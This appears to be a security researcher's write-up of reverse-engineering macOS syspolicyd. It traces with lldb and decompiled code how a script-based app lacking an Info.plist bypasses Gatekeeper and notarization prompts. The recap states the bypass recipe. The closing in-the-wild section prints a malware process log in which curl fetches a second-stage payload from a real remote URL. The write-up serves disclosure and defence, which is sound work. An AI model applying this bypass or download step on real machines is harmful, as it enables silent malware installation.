* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP

Executable module set to "/usr/libexec/syspolicyd".
Architecture set to: x86_64h-apple-macosx-.

(lldb) image list
[  0] 818DB070-4938-3106-9784-559DA9C41D40 0x0000000100860000 /usr/libexec/syspolicyd 

Note that the syspolicyd image has been rebased to 0x0000000100860000 (due to ASLR). Thus, we similarly rebase our static
analysis image in our disassembler (so that memory address match, etc.):

Rebasing syspolicyd

Now, we set a breakpoint on the (unnamed) subroutine where the script evaluation begins:

(lldb) b 0x000000010088a068
Breakpoint 1: where = syspolicyd`___lldb_unnamed_symbol611$$syspolicyd, address = 
0x000000010088a068

Launching the proof of concept application, triggers the breakpoint, allowing us (amongst other things) to view the contents of the



arguments. From our static analysis we determined that the third argument was the user’s id, the fourth the pid of the process to evaluate,
the fifth its path, the sixth the parent’s process path, etc etc. Let’s view these now (noting arrangements in Intel x86_64 environments are
passed in the following order, RDI, RSI, RDX, RCX, R8, R9, and then on the stack):

(lldb) p (int)$rdx
(int) $24 = 501

(lldb) p (int)$rcx
(int) $25 = 27038

(lldb) x/s $r8
0x70001018c6f8: "/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC"

(lldb) x/s $r9
0x70001018c734: "/bin/sh"

Everything matches what we expect, though let’s confirm the fourth argument (the pid, in RCX) with a value of 27038 is indeed the pid of
process set to be evaluated:

% ps -p 27038
PID   CMD
27038 /bin/sh 
/private/var/folders/pw/sv96s36d0qgc_6jh45jqmrmr0000gn/T/AppTranslocation/743C3DB6-64D7
-41B3-9040-D46B74E5296F/d/PoC.app/Contents/MacOS/PoC

Turns out that 27038 is an instance of a the shell (/bin/sh) set to run our proof of concept script:
PoC.app/Contents/MacOS/PoC. This makes sense, as scripts (unlike say a compiled mach-O binary) of course can not be run
natively. They need an interpreter process, such as /bin/sh.

It’s worth reiterating that the process (27038: /bin/sh) though created is held in a suspended state until the evaluation has completed.
(And if the system finds it violates a policy such as being unnotarized or running a quarantined script from an unnotarized bundle, it is killed
without ever having been run …unless of course there is a vulnerability!).

Also, note the “strange” path to our script-based PoC application. Known as App Translocation, this security mechanism transparently
relocates (copies) any downloaded (i.e. quarantined) content the first time it is launched by the user. This action is to mitigate a Gatekeeper
bypass I discovered in 2016, that leveraged dylib hijacking in order to allow unsigned code to run. Though the vulnerability discussed in this
post is not related to App Translocation, it’s important to at least understand why the location of our PoC has changed.

Ok onwards! Let’s continue on with our debugging, stopping at the call to the gatekeeperEvaluationForUser: withPID:
method to examine the arguments.

(lldb) Process 138 stopped
syspolicyd`___lldb_unnamed_symbol611$$syspolicyd:
->  0x10088a223 <+443>: callq  *%rax

(lldb) po $rdi
<ExecManagerService: 0x7fdb5e733150>

(lldb) po [$rdi className]
ExecManagerService

(lldb) x/s $rsi
0x7fff7e1df01d: 
"gatekeeperEvaluationForUser:withPID:withProcessPath:withParentProcessPath:withResponsi
bleProcess:withLibraryPath:processIsScript:forEvaluationID:"

(lldb) p (int)$rdx



(int) $34 = 501

(lldb) p (int)$rcx
(int) $35 = 27038

(lldb) po $r8
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC

(lldb) po $r9
/bin/sh

(lldb) x/gx $rsp
0x70001018c570: 0x00007fdb6312cf20
(lldb) po 0x00007fdb6312cf20

First we print out the object in the first argument, which is the Objective-C object upon which the method is being invoked. It’s the
globalManager (class: ExecManagerService) created by the subroutine. The second argument holds the method name,
gatekeeperEvaluationForUser:withPID: .... The remaining arguments include the user id (uid), the pid of the (suspended)
process, the path to the item to evaluate (our PoC script-based app), path of the parent process, then an instance of a ProcessTarget
class, which represents the responsible process. This argument is passed via the stack (as all the registers that are used for a method call
have already been used). Specifically it can be found at $rsp + 0x0, with a value of 0x00007fdb6312cf20. This is a pointer to an
Objective-C (ProcessTarget) object, meaning we can introspect it, including accessing its pid and path:

(lldb) p (int)[0x00007fdb6312cf20 pid]
(int) $51 = 27038

(lldb) po [0x00007fdb6312cf20 path]
/bin/sh

Turns out this responsible process, is also the parent process (/bin/sh, pid 27038).

So far nothing too surprising or strange. We’ve simply confirmed the fact that the syspolicyd daemon is about to evaluate our script-
based PoC app, as it’s executed via the shell (/bin/sh).

Let’s now turn our attention to the gatekeeperEvaluationForUser:withPID:withProcessPath: method. A brief triage of a
decompilation of this method, reveals it simply makes a dispatch_async call, to execute a block, allowing a background queue to
asynchronously perform the evaluation. The block invokes the ExecManagerPolicy's
evaluateCodeForUser:withPID:withProcessPath:withParentProcessPath:withResponsibleProcess:
withLibraryPath:processIsScript:withCompletionCallback: method. It passes along the arguments we’ve already
described (along with a callback block that will be invoked once the evaluation has completed).

This method first allocates an object of EvaluationResult and set its allowed instance variable to false (0x0):

1 evalReesult = objc_alloc_init(@class(EvaluationResult));
2 [evalReesult setAllowed:0x0];

…wise, explicitly default any evaluation to not allowed.

It then prints out a log message we saw earlier: GK process assessment:
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC <-- (/bin/sh, /bin/sh)

By analyzing the values passed to the log message’s format string, GK process assessment: %@ <-- (%@, %@), we know this
message prints out the process (or script) to evaluate, along with its parent and responsible processes (which in this case are the same,
/bin/sh).

After checking that the process (or script) to evaluate is an accessible file, the code invokes an unnamed subroutine which takes the path to



the evaluatee (e.g. PoC.app/Contents/MacOS/PoC), and returns a boolean value. More on this later, but this value is then stored in
an instance variable named isBundle, so safe to assume it contains logic related to determining if an item falls within an (application?)
bundle … &

Next the method allocates an object of type PolicyScanTarget and initializes it with the path of the item to evaluate (e.g.
PoC.app/Contents/MacOS/PoC). It then sets various instance variables in this newly allocated object:

1 policyScanTarget = [[PolicyScanTarget alloc] initWithURL:evaluatee];
2
3 [policyScanTarget setTriggeredByLibraryLoad:var_51];
4 [policyScanTarget setIsScript:sign_extend_64(var_24)];
5 [policyScanTarget setIsBundled:var_6C & 0xff];
6 [policyScanTarget setPid:var_98];

Recall that (several method calls back), gatekeeperEvaluationForUser was invoked with withLibraryPath:0x0 and
processIsScript:0x1. These (hardcoded) values were passed in as parameters and are passed to the PolicyScanTarget's
object’s setTriggeredByLibraryLoad and setIsScript setter methods. Similarly, the setPid method is invoked with the
passed in process id. The setIsBundled is notable, as its parameter (var_6C), is a boolean, returned from the aforementioned
unnamed subroutine that was called a few instructions earlier.

In a debugger, once we’ve stepped over the PolicyScanTarget method, we can print it out. Specifically we can invoke any of its
accessor methods to reveal the contents of initialized instance variables. And how do we know the names of these accessor methods? The
easiest way is simply via the disassembler (which can parse Objective-C objects and extract this information):



PolicyScanTarget's methods

So for example we confirm the facts that the “url” points to our PoC script, the isScript is set to true (0x1), and also introspect the value
of the isBundled instance variable. Note that in the debugger output the address 0x00007fdb5e706a40 is the
PolicyScanTarget object:

(lldb) po [0x00007fdb5e706a40 className]
PolicyScanTarget

(lldb) po [0x00007fdb5e706a40 url]
file:///Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC

(lldb) p (BOOL)[0x00007fdb5e706a40 isScript]
(BOOL) $73 = YES



(lldb) p (BOOL)[0x00007fdb5e706a40 triggeredByLibraryLoad]
(BOOL) $74 = NO

(lldb) p (BOOL)[0x00007fdb5e706a40 isBundled]
(BOOL) $72 = NO

The evaluateCodeForUser:withPID: ... method then creates another PolicyScanTarget, this time for the parent
process, though it’s solely initialized with the parent processes path (e.g. /bin/sh) …no other instance variables are initialized.

Finally the EvaluationManager's evaluateTarget: withParentTarget: withResponsibleProcess: forUser:
onCompletion: is invoked. The evaluateTarget is set to the PolicyScanTarget object for our evaluee, while the
withParentTarget is set to the PolicyScanTarget object that was created for the parent process. The other parameters are
simply set to values passed into the evaluateCodeForUser:withPID: ... method.

(lldb) Process 138 stopped
* thread #30, queue = 'syspolicy.executions.evaluations', stop reason = instruction 
step over
    frame #0: 0x000000010087cab0 syspolicyd`___lldb_unnamed_symbol447$$syspolicyd + 
1854
syspolicyd`___lldb_unnamed_symbol447$$syspolicyd:
->  0x10087cab0 <+1854>: callq  *0x838ea(%rip)            ; (void *)0x00007fff20298d00: 
objc_msgSend
    0x10087cab6 <+1860>: movq   0x838eb(%rip), %r13       ; (void *)0x00007fff2029a9a0: 
objc_release
    0x10087cabd <+1867>: movq   %r14, %rdi
    0x10087cac0 <+1870>: callq  *%r13
Target 0: (syspolicyd) stopped.

(lldb) po $rdi
<EvaluationManager: 0x7fdb5e40d0c0:>

(lldb) x/s $rsi
0x7fff7e1dde2b: 
"evaluateTarget:withParentTarget:withResponsibleProcess:forUser:onCompletion:"

(lldb) po $rdx
PST: (path: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: 
(null)), (bundle_id: (null))

(lldb) po $rcx
PST: (path: /bin/sh), (team: (null)), (id: (null)), (bundle_id: (null))

The evaluateTarget: withParentTarget: ... method calls down into various methods which eventually invokes the
EvaluationManager's scanTarget:onCompletion: method. This method queues up a scan, via a block that calls into the
EvaluationManagers performScan: withProgressHandler: withCodeEvaluation:

The performScan: withProgressHandler: withCodeEvaluation: is important as it (finally!) calls into the policy engine
(PolicyScanner) scan methods (such as scanTarget: ... method), but more importantly contains the GK scan complete:
log message. This indicates that the evaluation is finally complete!

Ready to dive into the internals of the policy engine? Yah, me neither …and turns out we don’t have to!

From our initial log spelunking (between a normal application, a normal script-based application, and our PoC), recall that the only (main)
difference was in a single value found within the GK evaluateScanResult: message. For the applications that triggered an alert this
value was a 0, while for our PoC (that generated no alerts and was incorrectly allowed to run), it was a 2. All other policy related log
message (e.g. notarization checks, etc) were the same.



At this point during my analysis, with a thorough understanding of at least the evaluation setup (and relevant classes such as
EvaluationManager, PolicyScanTarget and EvaluationResult), I decided to skip diving into the internals of the policy
engine and instead work backwards from the GK evaluateScanResult: message. The idea was to see if I could figure out why the
proof of concept application was assigned a 2 …as this seemed to be the only differentiator, and perhaps why it was allowed (vs. blocked).

The GK evaluateScanResult: message in the EvaluationManager's is logged in the aptly named
evaluateScanResult: withEvaluationArguments: withPolicy: withEvaluationType: withCodeEval:
method.

Setting a breakpoint here, we can see it’s invoked after an evaluation has completed, and contains the results of the scan, scan arguments
(which includes the PolicyScanner object of the evaluee …our PoC script), and an evaluation type:

(lldb) c
Process 138 resuming
Process 138 stopped
* thread #44, queue = 'syspolicyd.evaluations.completion', stop reason = breakpoint 8.1
    frame #0: 0x00000001008af4ca syspolicyd`___lldb_unnamed_symbol1234$$syspolicyd

(lldb) po $rdi
<EvaluationManager: 0x7fdb5e40d0c0>

(lldb) x/s $rsi
0x7fff7e1e025e: 
"evaluateScanResult:withEvaluationArguments:withPolicy:withEvaluationType:withCodeEval:
"

(lldb) po [$rdx className]
ScanResult

(lldb) po $rdx
ScanResult: 1,0,0,0 - 0,7,0x0

(lldb) po [$rcx className]
EvaluationArguments

(lldb) po $rcx
EvalArgs: PST: (path: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: 
(null)), (id: (null)), (bundle_id: NOT_A_BUNDLE), PST: (path: /bin/sh), (team: (null)), 
(id: (null)), (bundle_id: (null)), <ProcessTarget: 0x7fdb60c8ce60>, 501, 0, 1

(lldb) po $r8
<nil>

(lldb) po $r9
2

Now recall an example of the GK evaluateScanResult: ... log message:

GK evaluateScanResult: 2, PST: (path: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: 
(null)), (id: (null)), (bundle_id: NOT_A_BUNDLE), 1, 0, 1, 0, 7, 0 

Looking at the code that prints out this message, provides valuable insight into the components of the message:

 1 if (os_log_type_enabled(rax, 0x0) != 0x0) {
 2   var_B0 = [var_A0 isQuarantined];
 3   var_B8 = [var_A0 isUserApproved];
 4   var_F0 = [r13 success];
 5   rbx = [r13 isBypass];



 6   r14 = [r13 policyMatch];
 7   rax = [r13 xpResult];
 8   var_70 = 0x8000802;
 9   *(&var_70 + 0x4) = var_D8;
10   *(int16_t *)(&var_70 + 0xc) = 0x840;
11   *(&var_70 + 0xe) = var_A0;
12   *(int16_t *)(&var_70 + 0x16) = 0x400;
13   *(int32_t *)(&var_70 + 0x18) = sign_extend_64(var_B0);
14   *(int16_t *)(&var_70 + 0x1c) = 0x400;
15   *(int32_t *)(&var_70 + 0x1e) = sign_extend_64(var_B8);
16   *(int16_t *)(&var_70 + 0x22) = 0x400;
17   *(int32_t *)(&var_70 + 0x24) = sign_extend_64(var_F0);
18   *(int16_t *)(&var_70 + 0x28) = 0x400;
19   *(int32_t *)(&var_70 + 0x2a) = sign_extend_64(rbx);
20   *(int16_t *)(&var_70 + 0x2e) = 0x800;
21   *(&var_70 + 0x30) = r14;
22   *(int16_t *)(&var_70 + 0x38) = 0x400;
23   *(int32_t *)(&var_70 + 0x3a) = rax;
24   rax = os_log_impl(__mh_execute_header, r15, 0x0, "GK evaluateScanResult: %lu, %@, %d, %d, 
%d, %d, %lu, %d", &var_70, 0x3e);
25 }

From this, we can see the format string, %lu, %@, %d, %d, %d, %d, %lu, %d, will be populated with values such as a
PolicyScanTarget (that was initialized to represent the evaluee, our PoC), whether the evaluee was quarantined (it was), was user
approved (it was not), whether the evaluation completed successfully (it did), whether the evaluee was afforded a bypass (it was not), the
results of an XProtect classification (7, unsigned code), and if it matched a policy (it did not).

Again to reiterate, the values in the log message (as a result of evaluating our allowed PoC) except for the first, exactly matched a log
message when scanning the normal script-based application, Script.app which was blocked. So this implies they are likely irrelevant,
or spurious in terms of tracking down the underlying reason why our unsigned, quarantined PoC was allowed.

So, what’s the first value printed out (2 in the case of evaluating our PoC, 0 for the other application that were ultimated blocked). Turns out
it was passed in to the evaluateScanResult: method as the value for the withEvaluationType: parameter (arg5, in R9):

(lldb) po $r9
2

Thus we (now) know it represents an “evaluation type”.

Before we see how this value, the evaluation type, influences control flow and ultimately determines whether or not the evaluee should be
allowed, let’s keep working backwards to see where it came from, and why it’s set to 0x2 (vs. 0x0).

An unnamed subroutine is responsible for calling the evaluateScanResult: ... withEvaluationType: method. It invokes
this method with the return value from a EvaluationPolicy method called
determineGatekeeperEvaluationTypeForTarget:

1  ...
2  type = [r15 determineGatekeeperEvaluationTypeForTarget:r12 withResponsibleTarget:rax];
3
4  ...
5
6  [[rdi evaluateScanResult:rdx withEvaluationArguments:rcx withPolicy:r8 
withEvaluationType:type ...];

The determineGatekeeperEvaluationTypeForTarget: method is invoked with the PolicyScanTarget object
representing our evaluee and a ProcessTarget representing the responsible process (e.g. /bin/sh).

The method contains various checks upon the item represented in the PolicyScanTarget object. For example it first checks if the item
is quarantined. If not, it simply returns. Obviously non-quarantined items can safely be allowed.



1  rax = [policyScanTarget isQuarantined];
2  ...
3
4  r15 = 0x2;
5  if (rax == 0x0) goto leave;
6
7 leave:
8  rax = r15;
9  return rax;

Interestingly the return value is also 0x2. However, we know that our PoC was quarantined (and in a debugger, we can confirm this code
path is not taken). So, onwards!

However, we then come across the following logic:

 1  if ([policyScanTarget isUserApproved] == 0x0)
 2  {
 3    if ([policyScanTarget isScript] == 0x0) goto continue;
 4    
 5    r15 = 0x2;
 6    if ([policyScanTarget isBundled] == 0x0) goto leave;
 7
 8  }
 9
10  ...
11
12 leave:
13  rax = r15;
14  return rax;

This logic first checks if the PolicyScanTarget object representing our PoC has been user approved. As it has not, we enter the if
statement. It then checks and exits the if statement if the item is not a script. Since our PoC is a script, the isScript method returns a
non-zero value, and thus execution continues with a call to isBundled.

(lldb)  
Process 138 stopped
->  0x1008b78b2 <+208>: callq  *0x48ae8(%rip)            ; objc_msgSend
    
(lldb) po $rdi
PST: (path: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: 
(null)), (bundle_id: NOT_A_BUNDLE)

(lldb) x/s $rsi
0x7fff7e1e046e: "isBundled"

(lldb) p (BOOL)[$rdi isBundled]
(BOOL) $1 = NO

The isBundled simply returns the value of the bundled instance variable of the PolicyScanTarget object. As it is not set
isBundled returns zero, which (as shown above, well, and below) causes the
determineGatekeeperEvaluationTypeForTarget: method to leave, returning with a 0x2:

1   r15 = 0x2;
2   if ([policyScanTarget isBundled] == 0x0) goto leave;
3
4 leave:
5  rax = r15;



6  return rax;

…as we saw an 0x2 was (also) returned for non-quarantined items (which are then allowed) …this seems problematic!

Let’s also run the normal script-based application (Script.app, which we know gets blocked) and see that in its case isBundled
returns true, as shown in the debugger output below:

(lldb)  
Process 138 stopped
->  0x1008b78b2 <+208>: callq  *0x48ae8(%rip)            ; objc_msgSend
    
(lldb) po $rdi
PST: (path: /Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), 
(bundle_id: Script)

(lldb) x/s $rsi
0x7fff7e1e046e: "isBundled"
(lldb) p (BOOL)[$rdi isBundled]
(BOOL) $117 = YES

…and thus for Script.app, the determineGatekeeperEvaluationTypeForTarget: eventually returns an evaluation type of
0x0.

Hooray, we’ve now identified a problematic difference in macOS’s evaluation logic between our PoC (which is allowed), and a normal script-
based application (which is blocked). The fact that macOS does not think our PoC is “bundled” (and returns a 0x2 for the evaluation type) is
clearly a flaw. But why does it think that!?

Recall that earlier we noted the bundled instance variable was set via the following code (from ExecManagerPolicy's
evaluateCodeForUser:withPID: ... method):

 1 rax = sub_10087606c(rbx, 0x0);
 2 if (rax != 0x0) {
 3     var_6C = 0x1;
 4 }
 5 else {
 6     ...
 7     var_6C = 0x0;
 8 }
 9
10 [policyScanTarget setIsBundled:var_6C & 0xff];

Thus it appears the unnamed subroutine is the culprit! We noted earlier that the subroutine is invoked with a path to the item to classify (as a
bundle or not). As it’s evaluating our PoC, this path will be /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC.
Recall (and this proves to be important), our PoC.app is a bare-boned application that does not contain an Info.plist file!

The subroutine’s first check is to see if the path contains a @".". If not, it simply returns 0.

1 if ([rax containsString:@"."] == 0x0) goto leave;
2
3 leave:
4  var_B8 = 0x0;
5  rax = [var_B8 autorelease];
6  return rax;

This makes sense, a (application) bundle will have to have a folder named something like foo.app.

Next it splits the path into its components, which when analyzing our PoC application, will produce the following:



(lldb) po $rax
<__NSArrayM 0x7fc2a2d2d990>(
/,
Users,
patrick,
Downloads,
PoC.app,
Contents,
MacOS,
PoC
)

If there are no path components, it returns with 0x0. So far (still), so good.

It then iterates over each path component, invoking the pathExtension upon it, and checking the result. For any “non-bundle”
directories (that have no path components), it will just move on to the next. Once it comes across the bundle directory (e.g. PoC.app) the
pathExtension will return a non-nil value (e.g. app). The code continues then by splitting the (original) path again into components
again, and creating array with only those components up and to an including the bundle directory:

(lldb) po $rax
<__NSArrayI_Transfer 0x7fc2a2d4b0c0>(
/,
Users,
patrick,
Downloads,
PoC.app
)

This is then joined back into a single path (e.g. /Users/patrick/Downloads/PoC.app/).

The code then calls into another subroutine, passing in potential (relative) locations for an Info.plist file. For example
Contents/Info.plist, Versions/Current/Resources/Info.plist, or Info.plist:

1 if ( ((sub_100015829(rbx, @"Contents/Info.plist") != 0x0) || 
2       (sub_100015829(rbx, @"Versions/Current/Resources/Info.plist") != 0x0)) || 
3       (sub_100015829(rbx, @"Info.plist") != 0x0)) goto isBundle;

This helper subroutine simply attempts to open such candidate files, and if found, checks for various keys (commonly found or required in
an Info.plist file) such as CFBundleIdentifier, or CFBundleExecutable.

As our bare-bones PoC.app does not contain an Info.plist file, the code continues…

Next it checks if the item is an “application wrapper”, by invoking the AppWrapper class’s isAppWrapper: method. This begins by
appending the string Wrapper to the (potential) bundle directory. For our PoC this will be
/Users/patrick/Downloads/PoC.app/Wrapper …it then checks if that file exists (which in the case of our PoC it does not).

As the isAppWrapper: method returns 0 (false), the code continues processing the remaining path components (Contents, MacOS,
PoC), seeing if any have a path extension, and if so, have a candidate Info.plist file or is an “App Wrapper”. As none do, the
subroutine returns 0 (false), as according to it’s logic, our PoC.app (which does not have an Info.plist file) is not a bundle. Oops! $

No bundle means isBundle is set to 0x0 (false), which means that the determineGatekeeperEvaluationTypeForTarget
method returns with an 0x2! (vs. a 0x0).

Let’s wrap this all up by looking at what it means if evaluation type of 0x2 is returned and then passed to the
"evaluateScanResult:withEvaluationArguments:withPolicy:withEvaluationType:withCodeEval:"
method.



The evaluateScanResult:withEvaluationArguments:withPolicy:withEvaluationType:withCodeEval:
method is rather massive (having over 200 control flow blocks). Triaging its log message strings and names of methods it invokes, we can
see it is the arbiter, the final decision maker, on whether or not a prompt will be shown to the user. For example:

1 if ([r14 presentPromptOfType:var_B0 options:var_C8 completion:rax] != 0x0) {
2   
3     ...
4     rax = os_log_impl(__mh_execute_header, rbx, 0x0, 
5           "Prompt shown (%ld, %#lx), waiting for response: %@", &var_70, 0x20);
6     
7     dispatch_semaphore_wait(*(var_1A0 + 0x28), 0xffffffffffffffff);
8 }

…and then handling the user’s response to the alert, for example displaying the following message if the user clicks deny:

1 if (*(var_170 + 0x18) != 0x2) goto userBlocked;
2
3 userBlocked:
4 if (os_log_type_enabled(rax, 0x0) != 0x0) {
5    var_70 = 0x0;
6    rax = _os_log_impl(__mh_execute_header, rbx, 0x0, "Blocking executable due to user not 
allowing", &var_70, 0x2);
7 }

The actual prompt is displayed by the CoreServicesUIAgent. Bidirectional communications between
syspolicyd and this agent occur via XPC.

In the case of our proof of concept, no alert is shown. Hence such logic is apparently skipped! Let’s see how.

The evaluation type (set to the problematic value of 0x2, as the policy engine failed to correctly identify our PoC application as a bundle) is
passed in as the sixth argument (withEvaluationType:). The disassembly notes this is then moved into a local variable (which we
named evalType). As we previously noted this first passed to the GK evaluateScanResult: %lu string, which for our PoC
generated GK evaluateScanResult: 2, PST: (path:
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC), (team: (null)), (id: (null)),
(bundle_id: NOT_A_BUNDLE), 1, 0, 1, 0, 7, 0

The first time it is explicitly checked is in an if statement, which specifically checks if it was set to 0x2:

1 if (evalType != 0x2) goto notTwo;

…as the evalType for our proof of concept application was set to 0x2, we don’t take this jump, but continue on.

Next, it checks if the evaluee matches known malware (via a call to a method named xProtectResultIsBlocked). Of course our
PoC does not, so onwards we go. Though there are several other checks, they all appear spurious, but regardless all logic related to
showing an alert or prompt to the user is skipped. This bears repeating! Normal syspolicyd will send an XPC message to the
CoreServicesUIAgent in order to alert the user that the application is disallowed (for example if it s non-notarized), or even if signed
and notarized a prompt requesting that the user explicitly approve the application. Here, all such logic is skipped, and no prompts or alerts
are thus shown!

Before the evaluateScanResult:withEvaluationArguments:withPolicy: methods returns, it executes some code that
explicitly sets the R12 register to 0x1 (true). This is relevant as later this value is passed into the EvalutionResult object’s
setAllowed’ method:

1 ;true
2 r12 = 0x1; 
3 ...
4
5 [evalResult setAllowed:sign_extend_64(r12)];



This is the confirmation that the policy engine is indeed allowing our unsigned, unnotarized proof of concept application!

In a debugger we can introspect this EvalutionResult object, which (as its name implies) represents the system’s policy evaluation
result of our PoC.app:

First note that before the call to setAllowed, all numeric values in the object are 0 (false):

(lldb) po [$rdi className]
EvaluationResult

(lldb) po $rdi
EvalResult: 0,0,0,0 - /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC

After the call to setAllowed (and to setCacheResult), the EvaluationResult object is updated:

(lldb) po [$rdi className]
EvaluationResult

(lldb) po $rdi
EvalResult: 1,1,0,0 - /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC

(lldb) p (BOOL)[$rdi allowed]
(BOOL) $83 = YES

(lldb) p (BOOL)[$rdi wouldPrompt]
(BOOL) $82 = NO

(lldb) p (BOOL)[$rdi didPrompt]
(BOOL) $84 = NO

(lldb) po [$rdi evaluationTargetPath]
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC

Note that the allowed instance variable is set to 1 (YES/true), while wouldPrompt and didPrompt are both set to 0 (NO/false) …as a
result the system decided that no prompt was needed!

Once the evaluation has completed (though no prompt was shown), the completion block (initial pass to the
evaluateCodeForUser:withPID:withProcessPath: ... withCompletionCallback: method) is invoked.

The completion callback block first invokes the EvaluationResult's allowed method to see if the the evaluation was allowed.

1 if ([rax allowed] != 0x0) goto wasAllowed;

Note that if evaluation resulted in not allowed, the following code path is taken, which (as expected) terminates the suspended process:

1 //not allowed logic
2
3 ...
4 os_log_error_impl(__mh_execute_header, rsi, 0x10, "Terminating process due to Gatekeeper 
rejection: %d, %@", &var_20, 0x12);
5
6 terminate_with_reason(*(int32_t *)(r13 + 0x48), 0x9, 0x8, "Gatekeeper policy blocked 
execution", 0x41);



For example, running the “normal” script-based application (Script.app) which is blocked, triggers this call after the alert is shown:

(lldb)  
Process 138 stopped
->  0x10595b514 <+183>: callq  0x1059adc84   ; symbol stub for: terminate_with_reason

(lldb) po $rdi
7938

(lldb) x/s $rcx
0x1059c4b4c: "Gatekeeper policy blocked execution"

In the above debugger output, the first argument (7938 passed in via the RDI register), is the process id for the process to terminated. For
example, the Script.app (albeit run via /bin/sh):

% ps -p 7938
PID  CMD
7938 /bin/sh 
/private/var/folders/pw/sv96s36d0qgc_6jh45jqmrmr0000gn/T/AppTranslocation/3FF7B408-AC64
-4636-AA06-89E059307032/d/Script.app/Contents/MacOS/Script

However, as our proof of concept was allowed(!), we take the jump, and invoke the ExecManagerService's
sendEvaluationResult:forEvaluationID: passing in the EvaluationResult object and an evaluation ID (in this instance
the value is 599).

Interestingly, the sendEvaluationResult:forEvaluationID: calls into the kernel via an IOConnectCallMethod call!

Stepping over this the IOConnectCallMethod calls results in two things

1. The suspended process under evaluation (e.g. our proof of concept application) is resumed.
2. The following messages are logged:

kernel: (AppleSystemPolicy) Waking up reference: 599
kernel: (AppleSystemPolicy) Thread waiting on reference 599 woke up
kernel: (AppleSystemPolicy) evaluation result: 599, allowed, cache, 1618125792

The log messages contain the evaluation ID (599), and indicate the suspended evaluee process (main thread?) was woken up and allowed
(to resume). This means our PoC is finally free to merrily go on its way!

The kernel extension (kext) that generates these log messages is AppleSystemPolicy.kext. As noted by Scott Knight, this is “the …
client of the syspolicyd MIG service”. In other words, it interacts w/ syspolicyd for example waiting on evaluations and resuming
(allowed) processes.

Looking for cross-references to such log messages as well as dumping symbols and method names provides insight into
AppleSystemPolicy.kext

% nm -C 
/System/Library/Extensions/AppleSystemPolicy.kext/Contents/MacOS/AppleSystemPolicy

WAITING_ON_APPROVAL_FROM_SYSPOLICYD__(syspolicyd_evaluation*)
REVOKED_PROCESS_WAITING_ON_TERMINATION__(lck_mtx_t*)

AppleSystemPolicy::waitForEvaluation(syspolicyd_evaluation*, int, ASPEvaluationInfo*, 
vnode**, ScanMeta*, ...);
AppleSystemPolicy::procNotifyExecComplete(proc*);
ASPEvaluationManager::waitOnEvaluation(syspolicyd_evaluation*);



ASPEvaluationManager::wakeupEvaluationByID(long long, syspolicyd_evaluation_results*);

Further discussion of this kext is outside the scope of the blog post (and is not relevant to the underlying bug).

For more information on the AppleSystemPolicy kext, see: 

"syspolicyd internals".

A Recap
If you’ve made it this far, kudos! Spelunking through macOS’s system policy engine is no easy task! Before we dive into in-the wild
exploitation, and protections & detections, let’s briefly recap the bug. In a sentence:

Any script-based application that does not contain an Info.plist file will be misclassified as “not a bundle” and thus will be allowed to
execute with no alerts nor prompts.

Let’s break this down piece by piece:

1. A script-based application is an application whose main executable component is a (bash/python/etc) script. It is imperative that it is a
script, for several reasons. First, if the main executable component is a mach-O binary unless it is fully notarized, it will (still) be
rejected (blocked) by the system, as mach-O binaries are always checked. And even if the mach-O binary is notarized it will result in
the File Quarantine, “…is an application …are you sure you want to open it” prompt.

A script-based application is executed (as we saw) via the shell, /bin/sh which is a trusted, platform binary. Normally though script-
based applications are also blocked (unless the entire bundle is signed and notarized). However due to the bug this is not the case,
meaning the script’s contents (commands) are allowed.

2. An application that does not contain an Info.plist file. This is similarly imperative as even “normal” script-based applications are
subjected to policy checks. If a script-based application contains an Info.plist file, it will be (correctly) classified as a bundle,
and as such will be blocked (unless the entire bundle is signed and notarized). And even in the case when it is signed and notarized, a
File Quarantine prompt will be shown that requires explicit user approval.

3. A script-based application without an Info.plist file will be misclassified as “not a bundle”. This results in an evaluation type of
0x2, which causes logic in the system policy engine to both skip showing any prompts or alerts and explicitly setting an allowed
flag to true.

End result, such an application, though unsigned, unnotarized, and quarantined, is allowed to execute without a single alert! $

In the Wild
With a solid understanding of the flaw, I reached out to my good friends at Jamf, and simply inquired if they had seen any script-based
malware packaged up in application bundles. While we’ve seen malware in the past shipped as scripts in normal application bundles (i.e.
with an Info.plist file) I was skeptical we’d find any exploiting this specific flaw.

Jamf (via their Jamf Protect product), already flags script-based malware that’s packaged up in an application bundles, simply, as we
noted, such malware (in normal application bundles) is rather common.

Well, turns out they were able to confirm via Jamf Protect there was a new variant of malware that was uniquely packaged as a bare-boned
script based application.”



A bare-boned script-based application, found it the wild!

In other words, there’s malware exploiting this exact flaw …as an 0day …in the wild. Yikes!

You can read more about the discovery and analysis of malware in their excellent writeup: 

"Shlayer Malware Abusing Gatekeeper Bypass On Macos"

As shown below, though unsigned (and unnotarized) the malware (1302.app/Contents/MacOS/1302) is able to run (and download
& execute 2nd-stage payloads), bypassing all File Quarantine, Gatekeeper, and Notarization requirements:

# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
...

{
  "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process" : {
    "arguments" : [
      "/bin/bash",
      "/private/var/folders/zg/lhlpqsq14lz_ddcq3vx0r5xm0000gn/T
        /AppTranslocation/E486DA04-D4EC-41C4-8250-F587586DA4F7/d
        /1302.app/Contents/MacOS/1302"
    ],
    "name" : "bash",
    "pid" : 770
  }
}
{
  "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process" : {
    "arguments" : [
      "curl",
      "-L",
      "https://bbuseruploads.s3.amazonaws.com/
       c237a8d2-0423-4819-8ddf-492e6852c6f7/downloads/
       c9a2dac9-382a-42f6-873b-8bf8d5beafe5/d9o"
    ],
    "ppid" : 884,
    "name" : "curl",



    "pid" : 885
  }
}

